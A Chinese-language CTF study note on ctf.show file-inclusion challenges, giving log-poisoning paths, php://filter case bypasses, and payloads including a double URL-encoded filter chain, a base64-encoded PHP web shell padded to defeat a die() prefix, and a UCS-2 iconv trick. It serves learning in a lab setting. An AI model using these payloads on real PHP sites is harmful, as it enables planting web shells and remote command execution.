ctf_show笔记篇(web入门---文件包含)

目录

文件包含

78-79:最基础的文件包含,使用伪协议,大小写绕过或者通配符绕过,再或者使用其他方法

​编辑80-81:可采用日志文件绕过或者大小写绕过(81只能日志文件绕过)

####80-86:因为条件竞争只在晚上十一点半后开启到早上七点多,所以暂时先不做

87:这里要利用到php伪协议的特性

88:使用data协议通过base64编码绕过

116:通过binwalk扫描文件,然后在用foremost 文件名 -o 要输出的文件 精准输出需要的文件####有时候binwalk不够准确

117:还是使用php伪协议的特性


文件包含

78-79:最基础的文件包含,使用伪协议,大小写绕过或者通配符绕过,再或者使用其他方法

80-81:可采用日志文件绕过或者大小写绕过(81只能日志文件绕过)

日志文件路径:前提是可以访问到日志文件

  • /var/log/apache/access.log
  • /var/log/apache2/access.log
  • /var/log/nginx/access.log

大小写绕过,例如PHP://filter

####80-86:因为条件竞争只在晚上十一点半后开启到早上七点多,所以暂时先不做

87:这里要利用到php伪协议的特性

####看不懂的话可以去看这篇文章来了解php的特性谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)

这里使用urldecode来解码file,那么传入数据的时候就要进行url编码

那么这些过滤就没用了不用管了

payload:

原:file=php://filter/write=convert.base64-decode/resource=a.php

url转换两次后:####浏览器会先自动url解码一次,第二次则是urldecode

file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%31%25%32%65%25%37%30%25%36%38%25%37%30

原content=<?php eval(system($_GET1));?>

content=aaPD9waHAgZXZhbChzeXN0ZW0oJF9HRVRbMV0pKTs/Pg==

利用php伪协议的特性

  1. base64指定只能只用a-z A-Z 0-9的字符
    所以<?php die('大佬别秀了');?>就会变成phpdie,这里就会直接让他的die无效化
  2. 应为base64只能处理4的倍数的字符串,所以需要在前面多加两个字符
    最后的连接起来的效果应该是phpdieaa和PD9waHAgZXZhbChzeXN0ZW0oJF9HRVRbMV0pKTs/Pg==

88:使用data协议通过base64编码绕过

116:通过binwalk扫描文件,然后在用foremost 文件名 -o 要输出的文件 精准输出需要的文件####有时候binwalk不够准确

过滤以下协议,当没有填入file函数的时候file=sp2.mp4

117:还是使用php伪协议的特性

payload:

file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php

从UCS-2LE编码转换为UCS-2BE编码,这个过滤器需要php支持iconv

通过这样可以将<?php die();?>打乱

而contents传入的数据只需要提前以UCS-2LE编码传入转换回来就可以

contents=?<hp pvela$(P_SOTa;)>?

相关推荐
叼烟扛炮36 分钟前
Linux 学习笔记(四十三):网络编程进阶——自定义协议解决 TCP 粘包与守护进程
linux·开发语言·网络·笔记·tcp/ip
Escalating_xu1 小时前
【Linux 网络编程】DNS 与 ICMP:从域名解析到 ping、traceroute,把“网络通不通”问清楚
linux·网络·php
风骏时光牛马1 小时前
AI稳定性治理体系构建与疑难问题深度分析
前端
songyuc1 小时前
【Manskill3】TableSceneBuilder学习笔记
pytorch·笔记·学习
IT_陈寒2 小时前
JavaScript的this坑人实录,这次我真的记下来了
前端·人工智能·后端
开开心心就好3 小时前
音频降噪剪辑工具,音量裁剪一键处理
运维·服务器·前端·spring·ocr·音视频·1024程序员节
niucloud-admin3 小时前
NIUCLOUD PHP SAAS上门家政使用文档--服务订单:订单列表
开发语言·php
一枕槐安4873 小时前
大模型限流、重试、超时处理:API 调用健壮性方案
linux·服务器·php·大模型api·指数退避·限流控制·超时预算
゛凌乱的记忆づ3 小时前
好用的md文件编辑器——TyporaS与Typora
笔记·git·typora·markdown
李纲明3 小时前
WordPress 白屏或提示「出现了严重错误」:先开 WP_DEBUG 抓致命错误,再二分插件与主题
运维·php·debug·wordpress·白屏·插件冲突·devdiy